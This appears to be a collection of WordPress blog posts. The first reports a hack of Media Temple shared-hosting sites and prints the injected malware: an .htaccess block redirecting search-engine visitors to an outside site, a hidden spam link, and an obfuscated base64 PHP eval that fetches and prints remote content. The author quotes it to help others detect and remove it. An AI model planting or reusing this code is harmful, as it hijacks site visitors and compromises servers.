Update (2009-11-16): Given the large number of Grid-Service accounts hacked in a similar fashion, but not running WordPress, I've updated the title to reflect that this appears to be a MediaTemple problem and not due to WordPress. I still don't have any definitive answers, though, and haven't seen any direct statements from either company.

While moving a WordPress site from Media Temple's Grid-Service (gs) to one of their dedicated virtual (dv) servers today, I noticed some "odd" lines in the root .htaccess file:

RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://allvideo.org.uk/in.cgi?4&parameter=sf [R,L]

I immediately knew that this install of WordPress had been comprised, but, prior to deleting the lines, I decided to Google them to find out more information about the problem. I found a good post by Adrian Hanft, which recommended another post by Kyle Brady.

It appears that this exploit is targeted at Media Temple's (gs) account and can also affect Drupal sites. None of the WordPress installs on my (dv) server were affected. All of them were on my (gs) account, including a domain that had Flyspray installed, but not WordPress.

All of the infected domains had the above code in the root .htaccess as well the following code in the root index.php:

<!--yje35zfv8SU--><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.bangpass.com/t1/pps=brunette/assparade.html">assparade</a></font>
<?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?>

Some people reported that blog posts were affected and that the posts had to be manually recreated. So far, I have not detected any compromised posts or any other affected files other than .htaccess and index.php.

This exploit has affected people running up to at least version 2.85 of WordPress. Supposedly Media Temple is blaming WordPress and WordPress is blaming Media Temple. Regardless of whose fault it is, if you're running WordPress on Media Temple's Grid-Service, you should check your site out.

I'm not sure why it never happened before; I guess I never tried to schedule a post in WordPress (since 2.7, anyway) on a Media Temple (dv) server (even though most of our clients are on Media Temple and many of them use WordPress!). Regardless, it was happening now—the infamous "missed schedule" problem.

Initially, I thought the problem was due to our staging server being secured by basic authentication. I removed it, but the problem persisted. Then I turned to the WordPress forums, but to no avail. The best answer was that it was a server configuration problem (every other suggestion seemed like a snake oil remedy). However, knowing that it was a server configuration problem didn't really help, since I had no idea what the server configuration issue was or how to resolve it.

It turns out the answer was simple and only one Google query away:

… Media Temple's (dv) configuration was responsible for the "Missed schedule" errors I was getting in Wordpress.By default, the /etc/hosts file looks like this:

127.0.0.1 yourdomain.com yourdomain localhost localhost.localdomain

To execute cron tasks, Wordpress needs to post to the URL http://yourdomain.com/wp-cron.php?doing_wp_cron. This isn't usually a problem, but with the above hosts file and Plesk's Apache configuration, that URL will actually result in a 404 error.

To resolve this, SSH into your (dv) server and run the following commands:

vi /etc/hosts
Press I to enter insert mode
Change the hosts file to read:
127.0.0.1 localhost localhost.localdomain
xxx.xxx.xxx.xxx yourdomain.com yourdomain
Press ESC to exit insert mode and :wq to save your changes and exit.

That's it! There's no need to restart the server. Note—This is not necessary on Media Temple's (gs) service. Scheduling should work fine there.

Canonical URL links

From Yoast and very cool:

Google, Yahoo and Microsoft have just announced a new tag, which we can use to tell the search engines which URL it should have for the current page. This is probably best explained with an example, so here goes.

Suppose you have read my Twitter Analytics post, and you've started tagging all the URLs you spread on Twitter with Google Analytics campaign variables. So at some point, Google enters your site through this URL:

http://yoast.com/twitter-analytics/?utm_source=twitter&utm_medium=twitter
&utm_campaign=twitter

If it did, in "old times," this would mean you'd have a duplicate content issue: the same content indexed under two different URLs. An issue SEOs have been trying to solve on web pages for ages, which sometimes created huge limitations. This is where the new tag comes in. You add this code to the <head> section of your page:

<link rel="canonical" href="http://yoast.com/twitter/analytics/" />

Read the rest of Yoast's post and learn more about canonical URLs at http://yoast.com/canonical-url-links/. Google's official post on canonical URLs is at http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html.

To make things easy for us, Yoast has already prepared a WordPress Canonical URL plugin , as well as a Magento extension and a Drupal module! Thanks, Joost!

While I appreciate Yoast blogging about this and their work in preparing the plugin, extension and module, one small critique. Technically, this is not a new "tag," rather it is simply a new value for the rel attribute of the existing link tag.

Adhesive 3.4.0 released

Adhesive 3.4.0, a WordPress plugin that allows one to easily mark posts "sticky," is now released. Sticky posts always appear at the top of the page when several posts are displayed.

The most important changes to Adhesive in version 3.4.0 are:

  • Compatibility with WordPress 2.6.5.
  • No longer breaks the native paging functionality in WordPress.
  • Removes all Adhesive-added rows to the wp_postmeta table on plugin deactivation
  • All configuration options and the admin panel menu have been removed. Adhesive simply makes posts sticky—there's really nothing to configure.
  • Solo file functionality has been removed

Get Adhesive 3.4.0.

WordPress 2.6.1 was released yesterday. This is a maintenance release only, and, if you're happy using 2.6, you can continue to use it.

I found it surprising that in a new study authored by IBM, Apple was rated the number one software most vulnerable to attack, ahead of Microsoft!

I also found it curious that Webmonkey's post (where I read about the study) was titled "Apple, Microsoft Top List of Most Vulnerable Software," which, although true, implies that Microsoft is number two. This isn't true: Microsoft is number three, after Joomla!

Unfortunately, the report notes two worrisome trends:

  • The number of vulnerabilities in our software is increasing.
  • Attacks have largely shifted from operating systems to web applications, hence the inclusion of Joomla!, Wordpress and Drupal.

Via Webmonkey. Read the entire report in PDF format.

Version 2.6 "Tyner," named for jazz pianist McCoy Tyner, contains a number of new features that make WordPress a more powerful CMS: you can now track changes to every post and page and easily post from wherever you are on the web, plus there are dozens of incremental improvements to the features introduced in version 2.5.

Read all about the updates at the WordPress blog and download 2.6 here.

My favorite new feature in WP 2.6 is support for Gears: WP uses the LocalServer module to speed up the loading of pages by several seconds!

I just finished upgrading myself!